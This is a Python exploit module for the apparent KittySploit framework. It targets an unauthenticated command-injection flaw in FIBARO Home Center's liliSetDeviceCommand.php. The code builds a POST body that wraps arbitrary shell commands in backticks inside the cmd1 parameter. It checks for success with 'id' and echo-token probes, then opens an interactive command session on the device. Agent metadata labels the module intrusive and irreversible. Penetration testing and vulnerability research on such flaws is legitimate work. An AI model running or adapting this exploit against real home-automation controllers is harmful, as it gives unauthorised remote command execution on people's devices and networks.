FIBARO Home Center - liliSetDeviceCommand RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""FIBARO Home Center liliSetDeviceCommand.php RCE — opens execute session."""

import re

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'FIBARO Home Center - liliSetDeviceCommand RCE',
        'description': (
            'Exploits command injection in FIBARO /services/liliSetDeviceCommand.php '
            'cmd1 parameter. Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://seclists.org/fulldisclosure/2017/Jun/30'],
        'tags': ['fibaro', 'iot', 'rce', 'cmdi', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.4,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/http/fibaro_home_center_rce_detect'],
            },
        },
    }

    def execute(self, cmd: str) -> str:
        # use ${IFS} style to avoid spaces issues; wrap command
        safe = str(cmd).replace('`', '')
        data = (
            f'deviceID=1&deviceName=&deviceType=&cmd1=`{safe}`&cmd2=&roomID=1'
            '&roomName=&sectionID=&sectionName=&lang=en'
        )
        r = self.http_request(
            method='POST',
            path='/services/liliSetDeviceCommand.php',
            data=data,
            headers={
                'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',
                'X-Fibaro-Version': '2',
                'X-Requested-With': 'XMLHttpRequest',
            },
            allow_redirects=False,
        )
        if not r:
            return ''
        return r.text or ''

    def check(self):
        body = self.execute('id')
        if re.search(r'uid=\d+', body or ''):
            return {'vulnerable': True, 'reason': 'FIBARO RCE confirmed', 'confidence': 'high'}
        return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}

    def check_execute(self):
        token = self.random_text(8)
        return token in (self.execute(f'echo {token}') or '')

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()